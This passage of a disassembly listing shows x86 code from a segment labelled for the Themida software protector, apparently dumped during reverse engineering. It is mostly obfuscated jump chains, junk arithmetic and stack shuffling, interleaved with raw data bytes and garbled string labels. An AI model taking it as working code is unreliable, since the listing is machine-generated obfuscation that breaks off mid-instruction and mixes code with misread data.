esp, 4 push 492Ch mov [esp], ebx mov ebx, 7CF0593Ah add eax, 67805D96h sub eax, ebx sub eax, 67805D96h push dword ptr [esp] pop ebx push 42E0h jmp loc_54EDEE ; --------------------------------------------------------------------------- loc_54F9DD: ; CODE XREF: Themida_:0054ECA3j push esp jmp loc_5523B4 ; --------------------------------------------------------------------------- loc_54F9E3: ; CODE XREF: Themida_:0054D0B7j mov [esp], esi jmp loc_54911A ; --------------------------------------------------------------------------- db 83h dd 148704EAh, 0C895C24h, 0C8B5424h, 2494E924h, 3C330000h dd 243C3124h, 0FF9974E9h, 59CB01FFh, 0FFAA48E9h db 0FFh ; --------------------------------------------------------------------------- loc_54FA11: ; CODE XREF: Themida_:00553F0Bj sub edx, 6EA52FC8h pop edi push ebp mov ebp, 7664DFCh add ebp, 0FFFFFFFFh or ebp, 1043B2Eh sub ebp, 1 push ebx jmp loc_554039 ; --------------------------------------------------------------------------- loc_54FA30: ; CODE XREF: Themida_:0054E900j add cl, dh jmp loc_54CDC1 ; --------------------------------------------------------------------------- loc_54FA37: ; CODE XREF: Themida_:0054D51Dj sub bl, ch add bl, 0F1h mov ecx, [esp] jmp loc_54F4C9 ; --------------------------------------------------------------------------- loc_54FA44: ; CODE XREF: Themida_:0054E389j pop ebx add esi, 4 xchg esi, [esp] jmp loc_5509A4 ; --------------------------------------------------------------------------- loc_54FA50: ; CODE XREF: Themida_:00550690j pop eax sub bl, dl pop dx sub bl, al add bl, 3Ch jmp loc_553565 ; --------------------------------------------------------------------------- loc_54FA5F: ; CODE XREF: Themida_:loc_54BD2Bj ; Themida_:0054F2A9j push 468Ah mov [esp], ebx mov ebx, esp jmp loc_554103 ; --------------------------------------------------------------------------- dw 0EFC1h dd 0D4F78108h, 2934BE7Ah, 0C5295FF8h, 8124048Bh, 4C4h dd 66ED8100h, 6835FDFBh, 189Ah, 0B8240489h, 2386239Ch dd 8158C129h, 0E06E35E9h, 81E9017Fh, 0E06E35C1h, 9CC1817Fh dd 5D238623h, 0E9240C87h, 0FFFFCDD7h ; --------------------------------------------------------------------------- loc_54FAB8: ; CODE XREF: Themida_:0054ECCCj and ebp, 620E51ECh add ebp, 0DFF1FED8h sub edx, ebp mov ebp, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] mov [esp], edi push esp pop edi sub esp, 4 mov [esp], eax mov eax, 19752C0Bh jmp loc_5494E6 ; --------------------------------------------------------------------------- dw 8F64h dd 8E37E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FAF2: ; CODE XREF: Themida_:0054FF44j push ebx mov ebx, 4AD91DD4h inc ebx jnz loc_552DA0 shr ebx, 5 jns loc_555712 jl loc_54DA85 loc_54FB0E: ; CODE XREF: Themida_:00550D8Fj jmp loc_552D06 ; --------------------------------------------------------------------------- loc_54FB13: ; CODE XREF: Themida_:00552966j add edx, 170E7ED0h pop esi push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp shl dword ptr [esp], cl pushf jmp loc_548929 ; --------------------------------------------------------------------------- db 0E9h, 61h, 0A9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FB32: ; CODE XREF: Themida_:0054C776j push esi mov esi, esp jmp loc_552AA1 ; --------------------------------------------------------------------------- dw 0C280h dd 0FB850F39h, 0E9000053h, 0FBEh, 8F04C483h, 0E5802404h dd 2BABE97Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FB56: ; CODE XREF: Themida_:0054C7C0j add ebp, edi pop edi add ebp, 4 push ebp jmp loc_550055 ; --------------------------------------------------------------------------- dw 0C89h dd 12FEE924h, 89530000h, 4C381E3h, 83000000h, 1C8704C3h dd 4295C24h, 0A6E99C24h db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FB83: ; CODE XREF: Themida_:0054FDDAj mov eax, [esp] jmp loc_550FB4 ; --------------------------------------------------------------------------- loc_54FB8B: ; CODE XREF: Themida_:00554FA0j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 5F12h mov [esp], ecx jmp loc_5548A5 ; --------------------------------------------------------------------------- loc_54FBA8: ; CODE XREF: Themida_:00551074j mov ecx, esp add ecx, 4 push ebx mov ebx, 79642CEFh jmp loc_5502CB ; --------------------------------------------------------------------------- db 83h dd 148904ECh, 0EFA7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FBC6: ; CODE XREF: Themida_:0054C780j jmp loc_553707 ; --------------------------------------------------------------------------- loc_54FBCB: ; CODE XREF: Themida_:0054A9DDj mov [esp], cx push edx push ebx mov bl, 12h neg bl jg loc_549397 shr bl, 6 jmp loc_54C56E ; --------------------------------------------------------------------------- db 0B9h dd 2, 0D577E951h, 0C89FFFFh, 4B924h, 0C7810000h, 66E41715h dd 0EF81CF01h, 66E41715h, 4C78359h, 5C243C87h, 81E28952h dd 4C2h, 4C28300h, 41B6E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FC1E: ; CODE XREF: Themida_:0054C683j xchg ebp, [esp] pop esp jmp loc_5538E8 ; --------------------------------------------------------------------------- loc_54FC27: ; CODE XREF: Themida_:0054C810j sub eax, 1CED1800h jmp loc_54C552 ; --------------------------------------------------------------------------- loc_54FC31: ; CODE XREF: Themida_:0054F09Bj xor ebp, 641101Fh jg loc_54A232 add ebp, 6D646BC4h jbe loc_553A29 jmp loc_54D0CF ; --------------------------------------------------------------------------- loc_54FC4E: ; CODE XREF: Themida_:0054C466j ; Themida_:loc_5528FBj inc ebx neg ebx or ebx, 63193382h jmp loc_54B7CD ; --------------------------------------------------------------------------- dd 0E5C1D5F7h, 0F8CD8104h, 0E9170E44h, 7C9h, 565AE95Ah dd 48B0000h, 0A59EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FC7A: ; CODE XREF: Themida_:0054F5A1j push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_555944 ; --------------------------------------------------------------------------- loc_54FC88: ; CODE XREF: Themida_:00550B85j xor ecx, ebp not ebp push ecx push 6C1Bh mov [esp], ebp push dword ptr [esp] mov ecx, [esp] jmp loc_54EB5F ; --------------------------------------------------------------------------- loc_54FCA0: ; CODE XREF: Themida_:00554AD6j push esi mov esi, 72766B52h push ecx mov ecx, 763D08AAh add esi, ecx pop ecx push edx jmp loc_549243 ; --------------------------------------------------------------------------- loc_54FCB5: ; CODE XREF: Themida_:00554485j pop esi push ecx mov ecx, 79691D56h push ecx not dword ptr [esp] jmp loc_553533 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 5805E924h, 56E90000h, 86FFFF8Ch, 0E9D5F6EAh, 44B3h ; --------------------------------------------------------------------------- loc_54FCDC: ; CODE XREF: Themida_:0054C553j xchg eax, [esp] pop esp push 2341h mov [esp], edi mov edi, 148C5308h sub edi, 7FC478A2h neg edi sub esp, 4 mov [esp], ecx mov ecx, 57900736h jmp loc_54C950 ; --------------------------------------------------------------------------- loc_54FD05: ; CODE XREF: Themida_:00552976j add eax, 4 xchg eax, [esp] jmp loc_54A4A9 ; --------------------------------------------------------------------------- dd 1A2181BFh, 0B967E913h, 5251FFFFh, 0D58892B2h, 8324148Bh dd 0CD8004C4h, 0B353661Ah, 66DD2048h, 0FEDDF65Bh, 78F580CDh dd 2859E800h, 0A1B353D8h, 37B25266h, 28AFEB80h, 0E95266D3h dd 19B8h ; --------------------------------------------------------------------------- loc_54FD50: ; CODE XREF: Themida_:0054CBAEj add edx, 54580E08h push eax jmp loc_54A98B ; --------------------------------------------------------------------------- dd 0F6AEE980h, 0B1C180D9h, 0F08E9C0h, 0FFDBF888h, 9287E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FD72: ; CODE XREF: Themida_:00549103j add esp, 4 add ebx, 4 jmp loc_555EEA ; --------------------------------------------------------------------------- dd 8B240C33h, 31662424h, 0E99C2404h, 0FFFF8B99h ; --------------------------------------------------------------------------- loc_54FD90: ; CODE XREF: Themida_:005531C2j shr edi, 2 inc edi add edi, 0EA7D3DC9h mov edx, edi pop edi sub ebp, edx pop edx xchg ebp, [esp] pop esp mov [esp], ebp push edi mov edi, 500B072Ch jmp loc_54F3D0 ; --------------------------------------------------------------------------- loc_54FDB2: ; CODE XREF: Themida_:0054ABC7j xchg edx, [esp] mov esp, [esp] jmp loc_548929 ; --------------------------------------------------------------------------- loc_54FDBD: ; CODE XREF: Themida_:0055382Cj xchg esi, [esp] pop esp jmp loc_551CAB ; --------------------------------------------------------------------------- loc_54FDC6: ; CODE XREF: Themida_:0054D4C5j ja loc_55416A xor ebp, 227A3AFDh jmp loc_54D07D ; --------------------------------------------------------------------------- loc_54FDD7: ; CODE XREF: Themida_:0054BD50j pop edi mov esi, eax jmp loc_54FB83 ; --------------------------------------------------------------------------- db 0BDh dd 2ECB6235h, 6ABDE581h, 0E5D10260h, 8E5C14Dh, 6904F581h dd 0E90180C4h, 58EEE9h, 34875900h, 0C4815C24h, 4, 5C59E9h dd 31685100h, 8B27004Bh, 0C481240Ch, 4, 0FFAEFFE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FE21: ; CODE XREF: Themida_:00554C0Ej and ebx, 665408AFh or ebx, 3D093ACEh add ebx, 6D299B94h add ebp, ebx pop ebx add eax, 58C60050h add eax, ebp sub eax, 58C60050h pop ebp xchg eax, [esp] pop esp jmp loc_554FFC ; --------------------------------------------------------------------------- dd 24048B66h, 4DAF6857h, 8F540000h, 4832404h, 685F0424h dd 579Bh, 0B9240C89h, 4, 0C8E9CF01h db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54FE73: ; CODE XREF: Themida_:0054EA69j sub esp, 4 mov [esp], esi push esp jmp loc_54E777 ; --------------------------------------------------------------------------- dw 335Fh dd 62E92404h, 0BDFFFF8Ch, 0BFD25D5h, 0E904EDC1h, 0FFFFC4E5h ; --------------------------------------------------------------------------- loc_54FE98: ; CODE XREF: Themida_:0055012Cj shr eax, 0Eh xor eax, ecx sub esp, 4 mov [esp], eax push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] not eax xchg eax, [esp] jmp loc_5525BC ; --------------------------------------------------------------------------- loc_54FEB9: ; CODE XREF: Themida_:00550C37j jnp loc_55593F jmp loc_55003B ; --------------------------------------------------------------------------- aSG db '\И|G',0 align 2 dw 1487h dd 68535C24h, 4BC615F4h, 964BE95Bh, 6E05FFFFh, 559CE24h dd 64C67494h, 0FFEB85E9h, 58C629FFh, 0C681C601h, 6EE3759Dh dd 8124048Bh, 4C4h, 0C6B5E900h, 0F180FFFFh, 1F880FF0h dd 0E9FFFFCDh, 0FFFFA522h, 24048B66h db 5Eh ; --------------------------------------------------------------------------- loc_54FF15: ; CODE XREF: Themida_:0054B7E9j and eax, esi pop esi or eax, eax jz loc_5536F5 push dword ptr [edi+1Ch] push ecx mov ecx, 4AB200ECh sub dword ptr [esp+4], 5DE53860h add [esp+4], ecx add dword ptr [esp+4], 5DE53860h pop ecx jmp loc_555E3B ; --------------------------------------------------------------------------- loc_54FF43: ; CODE XREF: Themida_:0054D83Fj push ecx jmp loc_54FAF2 ; --------------------------------------------------------------------------- loc_54FF49: ; CODE XREF: Themida_:005515B6j push 11681137h pop edx add dword ptr [esp+4], 0A6715FCh jmp loc_550E2A ; --------------------------------------------------------------------------- loc_54FF5C: ; CODE XREF: Themida_:0054A7F3j xchg esi, [esp] pop esp jmp loc_54D6B6 ; --------------------------------------------------------------------------- db 0C1h, 0EDh, 4 dd 8108E5C1h, 0D2BD4C5h, 50E5D11Bh, 66753CB8h, 4220E914h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54FF7E: ; CODE XREF: Themida_:0054C718j add esi, edi jmp loc_54E5FE ; --------------------------------------------------------------------------- dd offset dword_544B64+204h align 2 dw 2C89h dd 3BEE924h, 8B660000h, 2FE9240Ch db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FF9B: ; CODE XREF: Themida_:0054B41Aj xor edi, 40F4270Ch jmp loc_551684 ; --------------------------------------------------------------------------- dw 295Dh dd 0E95559C8h, 0FFFF9097h ; --------------------------------------------------------------------------- loc_54FFB0: ; CODE XREF: Themida_:00550802j push 7F3Ch mov [esp], ebp mov ebp, esp push ecx sub esp, 4 mov [esp], eax jmp loc_54A92B ; --------------------------------------------------------------------------- loc_54FFC6: ; CODE XREF: Themida_:0054B2AAj xor ebp, 32345B4Bh ja loc_552189 and ebp, 7E070E98h ja loc_54AC3D mov [esp], ecx mov ecx, 40h sub ecx, 0CFB1EE8h add ecx, edi add ecx, 0CFB1EE8h push 50D0h mov [esp], ebp pop dword ptr [ecx] pop ecx jmp loc_5543AE ; --------------------------------------------------------------------------- dd 5B87CB81h, 0EB810C10h, 165DC9D2h, 0E95BDF89h, 51DAh dd 81240489h, 4ECh, 24248900h, 4B850h, 44010000h, 9AE90424h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550033: ; CODE XREF: Themida_:0054AE07j mov esp, [esp] jmp loc_555BA2 ; --------------------------------------------------------------------------- loc_55003B: ; CODE XREF: Themida_:0054BEDAj ; Themida_:0054FEBFj sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx jmp loc_5507FE ; --------------------------------------------------------------------------- dw 0C381h dd 4, 4F6BE9h db 0 ; --------------------------------------------------------------------------- loc_550055: ; CODE XREF: Themida_:0054FB5Dj push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_55583E ; --------------------------------------------------------------------------- db 80h dd 0E95873C5h, 0FFFFC130h ; --------------------------------------------------------------------------- loc_55006C: ; CODE XREF: Themida_:0054AF02j add esp, 4 or ebp, 4FBD3B24h jp loc_554F97 jmp loc_5505AB ; --------------------------------------------------------------------------- dd 592434FFh, 0FFD9B6E9h db 0FFh, 53h ; --------------------------------------------------------------------------- loc_55008A: ; CODE XREF: Themida_:0054C9E0j push dx jmp loc_54F37D ; --------------------------------------------------------------------------- loc_550091: ; CODE XREF: Themida_:00550B5Cj xor ebx, 7E35BA69h sub edx, ebx jmp loc_5533CE ; --------------------------------------------------------------------------- dw 86E9h dd 81FFFF88h, 4C6h, 960EE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5500AE: ; CODE XREF: Themida_:00555B81j shr bl, 2 shl bl, 6 add bl, 92h sub bl, 49h sub al, 8Ah add al, bl add al, 8Ah push dword ptr [esp] pop ebx add esp, 4 add bl, 0B8h push cx mov cl, 43h jmp loc_54CA69 ; --------------------------------------------------------------------------- loc_5500D6: ; CODE XREF: Themida_:0054BDB9j add ecx, 4 xchg ecx, [esp] pop esp add esi, 2 xchg esi, [esp] jmp loc_553001 ; --------------------------------------------------------------------------- db 5 dd 59361BCBh, 0D520E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5500F6: ; CODE XREF: Themida_:0054E512j test ecx, eax pushf jmp loc_548929 ; --------------------------------------------------------------------------- loc_5500FE: ; CODE XREF: Themida_:00555C78j add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 jmp loc_550FC2 ; --------------------------------------------------------------------------- loc_550113: ; CODE XREF: Themida_:loc_55061Fj add edx, 0E7C8D8B8h and eax, edx push dword ptr [esp] mov edx, [esp] jmp loc_54F9B3 ; --------------------------------------------------------------------------- loc_550126: ; CODE XREF: Themida_:0054CE17j add esp, 4 jmp loc_54FE98 ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 0D5h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550137: ; CODE XREF: Themida_:0054D781j sub al, ch sub al, 0C9h pop ecx add al, dl push bx push ecx mov cl, 46h mov bl, cl jmp loc_54B2CB ; --------------------------------------------------------------------------- loc_55014A: ; CODE XREF: Themida_:00555E36j mov ebx, esp push ecx mov ecx, 7F503FA5h shr ecx, 6 and ecx, 404B5D5Ah add ecx, 40007C07h jmp loc_5503F8 ; --------------------------------------------------------------------------- loc_550166: ; CODE XREF: Themida_:00551776j pop ecx neg ecx shl ecx, 4 sub ecx, 2F8212EEh xor ecx, 175C6D6Fh jmp loc_549530 ; --------------------------------------------------------------------------- loc_55017D: ; CODE XREF: Themida_:0054A4BEj add eax, 13220B07h sub esp, 4 mov [esp], ebx mov ebx, 800h and eax, ebx push dword ptr [esp] jmp loc_54EB02 ; --------------------------------------------------------------------------- dw 8AB8h dd 0D121E47h, 3BA95FCEh, 77622D40h, 0E883417Eh, 0D1F79101h dd 136F3591h, 0F8353D75h, 5038CA04h, 0E3759DB8h, 0FD23E96Eh dd 4D4DFFFFh, 1B7DE9h db 0 ; --------------------------------------------------------------------------- loc_5501CD: ; CODE XREF: Themida_:0054D793j add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_54D75C ; --------------------------------------------------------------------------- db 0B9h, 4, 0 dd 0BA520000h, 607C0550h, 148BD001h, 4C48124h, 1000000h dd 5502DC8h, 34FF607Ch, 0E2E95924h, 81FFFFB9h, 4ECh, 240C8900h dd 0FF9F8AE9h db 0FFh ; --------------------------------------------------------------------------- loc_550215: ; CODE XREF: Themida_:00552D91j pop ebx add ecx, edx sub ecx, 36882A3Bh pop edx add ebx, ecx mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_5508E8 ; --------------------------------------------------------------------------- db 0B1h, 0E1h, 0E9h dd 0FFFFE690h ; --------------------------------------------------------------------------- loc_550240: ; CODE XREF: Themida_:0054A6B6j xor esi, 1C74FE05h add eax, esi pop esi push eax jmp loc_5507A6 ; --------------------------------------------------------------------------- aIcuH db '┴ГU╫h',0 db 45h, 73h, 45h dd 0A8198A0Fh, 0B2E9FFFFh, 8BFFFF9Ah, 0D688240Ch, 0D300FA88h dd 24148B66h, 6602C483h, 7EBC05Ah, 2C71EB80h, 4D82837h dd 4A0DE937h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550286: ; CODE XREF: Themida_:00555920j push cx jmp loc_54DEC5 ; --------------------------------------------------------------------------- loc_55028D: ; CODE XREF: Themida_:005534E5j sub ebp, 0E54BF2C2h add ebx, 627D2BB8h add ebx, ebp sub ebx, 627D2BB8h jmp loc_555989 ; --------------------------------------------------------------------------- loc_5502A6: ; CODE XREF: Themida_:loc_549303j neg edx jge loc_553E34 jmp loc_551C80 ; --------------------------------------------------------------------------- db 5Fh dd 0CF8BEC8Ah, 0BE72F335h, 28BE5640h, 13C3A79h, 0E1E95EF0h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5502CB: ; CODE XREF: Themida_:0054FBB6j xor ebx, 3ACD75C8h or ebx, 75602611h push ecx jmp loc_554235 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 4EC8324h, 54243489h, 1CB8505Eh, 0E972042Eh, 0FFFFB838h dd 3390B951h, 0CB215407h, 5EBC159h, 0DEBE9h, 24048F00h dd 924248Bh, 9840FC9h, 81FFFFA8h, 4ECh, 24248900h, 4B850h dd 31E90000h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550327: ; CODE XREF: Themida_:00551A9Fj add ebp, ebx mov ebx, [esp] add esp, 4 sub ebp, 4 jmp loc_555C0B ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0B951E389h, 31783D7Dh, 0E9FFE983h, 1968h, 0C581E589h dd 4, 0FF9C19E9h db 0FFh ; --------------------------------------------------------------------------- loc_55035D: ; CODE XREF: Themida_:00552A45j pop edi mov edx, [esp] add esp, 4 push ebp mov ebp, 5D5344CEh sub eax, ebp pop ebp add eax, esi add eax, 5D5344CEh mov esi, [esp] add esp, 4 push esi mov esi, 6F58741Eh neg esi shl esi, 4 not esi inc esi add esi, 3BDE022Dh sub ebx, 65FD5F0Dh add ebx, esi add ebx, 65FD5F0Dh push dword ptr [esp] pop esi push edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp add ebx, 44CF0D2Ah add ebx, eax push ebp jmp loc_55192E ; --------------------------------------------------------------------------- loc_5503C1: ; CODE XREF: Themida_:0054A52Fj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_551079 ; --------------------------------------------------------------------------- db 89h dd 4BE2434h, 1000000h, 0FF525EF2h, 0E9042474h, 5011h ; --------------------------------------------------------------------------- loc_5503EC: ; CODE XREF: Themida_:loc_551999j jmp loc_554059 ; --------------------------------------------------------------------------- loc_5503F1: ; CODE XREF: Themida_:005528B3j mov dh, bl jmp loc_54A0C3 ; --------------------------------------------------------------------------- loc_5503F8: ; CODE XREF: Themida_:00550161j add ecx, 0BFB643A3h add ebx, ecx mov ecx, [esp] jmp loc_549B44 ; --------------------------------------------------------------------------- loc_550408: ; CODE XREF: Themida_:005491F7j mov esi, esp jmp loc_5533E8 ; --------------------------------------------------------------------------- loc_55040F: ; CODE XREF: Themida_:00552A03j mov esi, [esp] add esp, 4 push ebp jmp loc_5496B4 ; --------------------------------------------------------------------------- dw 0C009h dd 40E9840Fh, 0EC810000h, 4, 54240489h, 0FF852CE9h db 0FFh ; --------------------------------------------------------------------------- loc_550435: ; CODE XREF: Themida_:loc_549F4Bj or ebp, 5A032F05h jmp loc_54DD15 ; --------------------------------------------------------------------------- loc_550440: ; CODE XREF: Themida_:00548F82j xor eax, edx jmp loc_5530C2 ; --------------------------------------------------------------------------- loc_550447: ; CODE XREF: Themida_:0054C1D9j pop esi add esi, 3EBF3021h or esi, 231F459Fh add esi, 0A6C738FCh mov ebx, esi pop esi jmp loc_54F96A ; --------------------------------------------------------------------------- dw 0EDC1h dd 0C5814D06h, 4EFF2FEFh, 2B3A880Fh, 0F5810000h, 5EFC71DCh dd 24048155h, 1BF2507Eh, 0FFE5C7E9h, 4C481FFh, 57000000h dd 0B268E789h, 89000059h, 68512434h, 56B522FEh, 5AA0E9h dd 334CB800h, 6C812B58h, 69EF0824h, 44016882h, 61E90824h dd 40000044h, 41C68196h, 0F3FF646h, 0FFBEFD8Dh, 7EEC1FFh dd 0E8DF850Fh, 0F796FFFFh, 6A2496D0h, 3F56BD55h, 0F5816AFCh dd 6AFC3F54h, 5566E9h, 2EBC100h, 0B447F381h, 0FCE93981h dd 8F000056h, 9DE92404h, 2C000013h, 51D0001Bh, 0FFA740E9h db 0FFh ; --------------------------------------------------------------------------- loc_550505: ; CODE XREF: Themida_:00549F5Dj mov ecx, 3C6262F1h add ecx, edi jmp loc_554E2C ; --------------------------------------------------------------------------- db 0E9h, 13h, 84h dd 2859FFFFh, 2434FFD0h, 0FFAF22E9h db 0FFh ; --------------------------------------------------------------------------- loc_550521: ; CODE XREF: Themida_:00551871j add esi, 3D805831h xor esi, 6BE5AD8h dec esi dec esi push edx mov edx, 0B437EE6h neg edx dec edx neg edx dec edx or edx, 431162EAh xor edx, 0F54509h jmp loc_551F26 ; --------------------------------------------------------------------------- loc_55054C: ; CODE XREF: Themida_:0054C29Bj pop esp pop small word ptr [esp] jmp loc_548929 ; --------------------------------------------------------------------------- loc_550556: ; CODE XREF: Themida_:loc_5495F2j xor ebx, 43B30837h shr ebx, 6 and ebx, 79860B39h add ebx, 48F1E1Ch dec ebx jmp loc_54A66B ; --------------------------------------------------------------------------- db 89h, 0C3h, 0E9h dd 0FFFFADC2h ; --------------------------------------------------------------------------- loc_550578: ; CODE XREF: Themida_:0055561Dj sub edx, 1981203Eh mov edi, edx pop edx jmp loc_54D399 ; --------------------------------------------------------------------------- dw 8358h dd 348904ECh, 949BBE24h, 0F501A6B5h, 0E9E8315Eh, 0FFFFE6AFh ; --------------------------------------------------------------------------- loc_55059C: ; CODE XREF: Themida_:0054ED1Cj add edx, esi jmp loc_54BEF8 ; --------------------------------------------------------------------------- db 0FFh dd 42E92434h db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5505AB: ; CODE XREF: Themida_:0055007Bj ; Themida_:00550601j add esp, 4 add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], ecx push ebp mov ebp, 22021158h mov ecx, ebp pop ebp add edx, ecx jmp loc_54D7F1 ; --------------------------------------------------------------------------- db 4 dd 9BFAE903h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5505DE: ; CODE XREF: Themida_:00553387j pop eax jmp loc_54A3D6 ; --------------------------------------------------------------------------- dd 0A2E9D5F6h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5505EB: ; CODE XREF: Themida_:00551F5Bj mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx push esp mov ebx, [esp] jmp loc_5505AB ; --------------------------------------------------------------------------- loc_550606: ; CODE XREF: Themida_:00550E63j add esp, 2 push cx push ebp mov bp, 1DBFh jmp loc_54ADDF ; --------------------------------------------------------------------------- loc_550618: ; CODE XREF: Themida_:0054F451j mov eax, ebx jmp loc_54DA6F ; --------------------------------------------------------------------------- loc_55061F: ; CODE XREF: Themida_:0054DE6Ej jmp loc_550113 ; --------------------------------------------------------------------------- loc_550624: ; CODE XREF: Themida_:0054F21Bj mov esi, edx pop edx jmp loc_554F2C ; --------------------------------------------------------------------------- dd 37F6E950h, 5C290000h, 595B0824h, 0FF82ECE9h db 0FFh ; --------------------------------------------------------------------------- loc_55063D: ; CODE XREF: Themida_:005525FDj pop edx jmp loc_5554B0 ; --------------------------------------------------------------------------- loc_550643: ; CODE XREF: Themida_:00549F3Bj push ebx jmp loc_55318B ; --------------------------------------------------------------------------- loc_550649: ; CODE XREF: Themida_:00555D5Bj mov al, 0Fh add al, 8Ch jmp loc_552B65 ; --------------------------------------------------------------------------- loc_550652: ; CODE XREF: Themida_:loc_55215Fj sub esi, 51761AF7h jmp loc_551C44 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4EC81h, 3C890000h, 68E78924h, 7ECAh, 0B9240C89h, 4 dd 6F50EF81h, 0EF81736Ah, 6F1472F2h, 0FF8D67E9h db 0FFh ; --------------------------------------------------------------------------- loc_550689: ; CODE XREF: Themida_:0054F4CFj push dx push eax mov ah, 3Ch mov dl, ah jmp loc_54FA50 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 42474FFh, 83243C8Bh, 48F04C4h, 24248B24h, 0FFBA25E9h db 0FFh ; --------------------------------------------------------------------------- loc_5506AD: ; CODE XREF: Themida_:00554CB8j pop ecx jmp loc_555BD0 ; --------------------------------------------------------------------------- loc_5506B3: ; CODE XREF: Themida_:00551266j add esp, 4 push 2261h mov [esp], edi push 800000h pop edi jmp loc_551552 ; --------------------------------------------------------------------------- loc_5506C9: ; CODE XREF: Themida_:0055342Fj mov ebp, 5EDC5F56h jmp loc_548D8C ; --------------------------------------------------------------------------- loc_5506D3: ; CODE XREF: Themida_:00549EFAj xor eax, 0C04EFD4Eh mov esi, eax mov eax, [esp] add esp, 4 xor esi, 56EA28F9h and esi, 63AD41E4h inc esi jmp loc_54CE45 ; --------------------------------------------------------------------------- loc_5506F2: ; CODE XREF: Themida_:loc_54AB47j inc eax jns loc_548B06 jmp loc_555EC2 ; --------------------------------------------------------------------------- dw 2959h dd 67A52DF8h, 0C48160DEh, 4, 0FFFDE2E9h db 0FFh ; --------------------------------------------------------------------------- loc_550711: ; CODE XREF: Themida_:0054C54Dj xor edi, 0FF7088h jmp loc_5550B4 ; --------------------------------------------------------------------------- loc_55071C: ; CODE XREF: Themida_:00553E0Aj add ebp, 0D75A87A2h add eax, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] jmp loc_55444B ; --------------------------------------------------------------------------- loc_550744: ; CODE XREF: Themida_:00552DFDj add esp, 4 mov ebp, ebx mov ebx, [esp] add esp, 4 pop eax jmp loc_54BCDC ; --------------------------------------------------------------------------- loc_550758: ; CODE XREF: Themida_:0054B6C8j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], ebp jmp loc_54AEF9 ; --------------------------------------------------------------------------- dw 0CC2Dh dd 52BC602h, 22F036D5h, 0BE56D801h, 6E5C5180h, 0A2E9D6F7h db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55078B: ; CODE XREF: Themida_:00548EEAj sub dx, 935h not dx jmp loc_54BFA3 ; --------------------------------------------------------------------------- loc_550798: ; CODE XREF: Themida_:0054C2ABj sub edx, 4 xchg edx, [esp] jmp loc_54E1FD ; --------------------------------------------------------------------------- loc_5507A6: ; CODE XREF: Themida_:0055024Aj push dword ptr [esp+4] jmp loc_552A08 ; --------------------------------------------------------------------------- loc_5507AF: ; CODE XREF: Themida_:0054EF2Cj push eax push ebp mov ebp, 105535D8h not ebp shl ebp, 6 neg ebp inc ebp shr ebp, 8 sub ebp, 0BDB447A7h mov eax, ebp pop ebp jmp loc_555BD9 ; --------------------------------------------------------------------------- loc_5507CF: ; CODE XREF: Themida_:005514D2j push 3205h mov [esp], eax push 4891h mov [esp], ebp push 5F446E9Bh mov ebp, [esp] add esp, 4 add ebp, 0A0BBA165h push ebp pop eax pop ebp mov esi, eax push dword ptr [esp] pop eax jmp loc_54F1A8 ; --------------------------------------------------------------------------- loc_5507FE: ; CODE XREF: Themida_:00550045j push dword ptr [esp] pop eax jmp loc_54FFB0 ; --------------------------------------------------------------------------- loc_550807: ; CODE XREF: Themida_:0054A19Aj mov eax, 4 jmp loc_54D5F3 ; --------------------------------------------------------------------------- loc_550811: ; CODE XREF: Themida_:0054AFADj pop ecx and eax, edx push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 add esp, 4 shr eax, 10h xor eax, ecx jmp loc_5530D2 ; --------------------------------------------------------------------------- db 0F7h, 0DDh, 81h dd 8B39CCF5h, 0E9E9013Fh, 4D5Eh ; --------------------------------------------------------------------------- loc_550840: ; CODE XREF: Themida_:005498A6j jp 